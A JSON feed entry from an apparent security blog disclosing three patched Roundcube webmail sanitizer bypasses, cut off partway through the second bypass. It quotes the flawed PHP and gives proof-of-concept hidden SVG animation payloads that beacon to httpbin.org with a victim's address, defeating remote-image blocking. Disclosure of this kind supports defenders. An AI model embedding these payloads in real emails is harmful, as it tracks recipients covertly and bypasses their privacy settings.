{"version":"https://jsonfeed.org/version/1.1","title":"NULL CATHEDRAL - Vulnerability","home_page_url":"https://nullcathedral.com/tags/vulnerability/","feed_url":"https://nullcathedral.com/tags/vulnerability/feed.json","description":"Where nothing is sacred.","language":"en-us","favicon":"https://nullcathedral.com/favicon.svg","authors":[{"name":"_NULL"}],"items":[{"id":"https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/","url":"https://nullcathedral.com/posts/2026-03-18-roundcube-round-two-three-more-sanitizer-bypasses/","title":"Roundcube round two: three more sanitizer bypasses","summary":"Three more bypasses in Roundcube's HTML sanitizer: SMIL animation attributes load remote resources, unquoted body backgrounds enable CSS injection, and position:fixed !important enables phishing overlays.","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Three more bypasses in Roundcube\u0026rsquo;s HTML sanitizer. SMIL animation \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e attributes pass through without URI validation. The body \u003ccode\u003ebackground\u003c/code\u003e attribute gets dropped into \u003ccode\u003eurl()\u003c/code\u003e unquoted, which allows CSS injection. And \u003ccode\u003eposition: fixed !important\u003c/code\u003e bypasses the fixed-position mitigation for full-viewport phishing overlays. Fixed in \u003ca href=\"https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.16\"\u003e1.5.14, 1.6.14, and 1.7-rc5\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.14, 1.6.x \u0026lt; 1.6.14, 1.7-rc1 through 1.7-rc4\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003ePending\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-03-18\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"going-back\"\u003eGoing back\u003ca href=\"#going-back\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAfter the \u003ca href=\"/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/\"\u003efeImage bypass\u003c/a\u003e was patched, the sanitizer still felt fairly fragile. Same patterns everywhere: hand-maintained allowlists, attribute routing that assumed it caught everything. I was bored and didn\u0026rsquo;t feel like doing anything else, so I went poking at it again.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eThree more things came out of it.\u003c/p\u003e\n\u003ch2 id=\"smil-animations-values-and-by\"\u003eSMIL animations: \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e\u003ca href=\"#smil-animations-values-and-by\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe feImage bug was about an element whose \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path. This one is about attributes that skip the code path entirely.\u003c/p\u003e\n\u003cp\u003eSMIL animation elements (\u003ccode\u003e\u0026lt;animate\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;set\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;animateTransform\u0026gt;\u003c/code\u003e) can target any attribute on their parent element. The \u003ccode\u003eto\u003c/code\u003e and \u003ccode\u003efrom\u003c/code\u003e attributes set start and end values, but SMIL also has \u003ccode\u003evalues\u003c/code\u003e (semicolon-separated keyframes) and \u003ccode\u003eby\u003c/code\u003e (relative offset). They all do the same thing: set the value of the target attribute.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003ewash_attribs()\u003c/code\u003e handles \u003ccode\u003eto\u003c/code\u003e and \u003ccode\u003efrom\u003c/code\u003e correctly by resolving \u003ccode\u003eattributeName\u003c/code\u003e and routing the value through the appropriate URI check:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L301-L308\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// in SVG to/from attribs may contain anything, including URIs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;to\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;from\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estrtolower\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003egetAttribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;attributeName\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003etrim\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^.*:/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eisset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003e_html_attribs\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e]))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThis swaps the attribute name for the resolved \u003ccode\u003eattributeName\u003c/code\u003e, so \u003ccode\u003eto=\u0026quot;https://httpbin.org\u0026quot;\u003c/code\u003e on \u003ccode\u003e\u0026lt;animate attributeName=\u0026quot;href\u0026quot;\u0026gt;\u003c/code\u003e gets validated as if it were an \u003ccode\u003ehref\u003c/code\u003e value. The right idea.\u003c/p\u003e\n\u003cp\u003eBut \u003ccode\u003evalues\u003c/code\u003e and \u003ccode\u003eby\u003c/code\u003e aren\u0026rsquo;t in that \u003ccode\u003eif\u003c/code\u003e check. They\u0026rsquo;re both in the \u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L65\"\u003e\u003ccode\u003e$html_attribs\u003c/code\u003e\u003c/a\u003e allowlist, so they pass the initial gate and fall through to the generic pass-through:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L335-L336\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNo URI validation. The value goes into the output unchanged.\u003c/p\u003e\n\u003cp\u003eThere\u0026rsquo;s a second layer to this. After \u003ca href=\"https://roundcube.net/news/2024/05/26/security-updates-1.6.7-and-1.5.7\"\u003eCVE-2024-37383\u003c/a\u003e\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e, the sanitizer blocks SMIL animations targeting \u003ccode\u003eattributeName=\u0026quot;href\u0026quot;\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L573-L575\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ein_array\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tagName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;animate\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatecolor\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;set\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;animatetransform\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e])\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003eself\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eattribute_value\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;attributename\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOnly \u003ccode\u003ehref\u003c/code\u003e. But CSS properties like \u003ccode\u003emask\u003c/code\u003e and \u003ccode\u003ecursor\u003c/code\u003e also load external resources when their values contain URLs. An \u003ccode\u003e\u0026lt;animate attributeName=\u0026quot;mask\u0026quot; values=\u0026quot;url(//httpbin.org/track)\u0026quot;\u0026gt;\u003c/code\u003e passes through because the element-level block doesn\u0026rsquo;t fire.\u003c/p\u003e\n\u003cp\u003eCombined: the \u003ccode\u003evalues\u003c/code\u003e attribute bypasses attribute-level validation, and targeting \u003ccode\u003emask\u003c/code\u003e instead of \u003ccode\u003ehref\u003c/code\u003e bypasses element-level blocking. Both checks miss.\u003c/p\u003e\n\u003ch3 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h3\u003e\n\u003cp\u003eZero-click open tracking. An invisible SVG off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003efill\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;white\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eanimate\u003c/span\u003e \u003cspan class=\"na\"\u003eattributeName\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;mask\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(//httpbin.org/track?uid=victim@test.com)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003efill\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;freeze\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003edur\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;0.001s\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eOpen the email in Roundcube with \u0026ldquo;Block remote images\u0026rdquo; enabled. The browser fires a GET to the attacker\u0026rsquo;s URL.\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003cp\u003eSMIL\u0026rsquo;s \u003ccode\u003ekeyTimes\u003c/code\u003e attribute enables timed beacons, measuring how long a recipient views the email:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003eanimate\u003c/span\u003e \u003cspan class=\"na\"\u003eattributeName\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;mask\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003evalues\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;none;url(//httpbin.org/ping?t=1);url(//httpbin.org/ping?t=2)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"na\"\u003edur\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;5s\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003erepeatCount\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;indefinite\u0026#34;\u003c/span\u003e \u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"body-backgrounds-unquoted-url\"\u003eBody backgrounds: unquoted \u003ccode\u003eurl()\u003c/code\u003e\u003ca href=\"#body-backgrounds-unquoted-url\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThis one is in the application layer, not the sanitizer library.\u003c/p\u003e\n\u003cp\u003eWhen Roundcube renders an email, \u003ccode\u003ewashtml_callback()\u003c/code\u003e processes the \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e element\u0026rsquo;s attributes and converts them to inline CSS on the output container \u003ccode\u003e\u0026lt;div\u0026gt;\u003c/code\u003e. The \u003ccode\u003ebackground\u003c/code\u003e attribute\u003csup id=\"fnref:4\"\u003e\u003ca href=\"#fn:4\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e4\u003c/a\u003e\u003c/sup\u003e becomes \u003ccode\u003ebackground-image\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/actions/mail/index.php#L1180-L1185\"\u003eindex.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^([^\\s]+)$/\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$m\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$style\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;background-image\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;url(\u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe value runs through \u003ccode\u003ewash_uri()\u003c/code\u003e before this point, which allows \u003ccode\u003edata:image/*\u003c/code\u003e URIs. Then it gets interpolated into \u003ccode\u003eurl()\u003c/code\u003e without quotes.\u003c/p\u003e\n\u003cp\u003eA \u003ccode\u003e)\u003c/code\u003e inside the data URI terminates the \u003ccode\u003eurl()\u003c/code\u003e function early, and everything after it is parsed as additional CSS properties on the container \u003ccode\u003e\u0026lt;div\u0026gt;\u003c/code\u003e. Because the injected CSS is inline style (not inside a 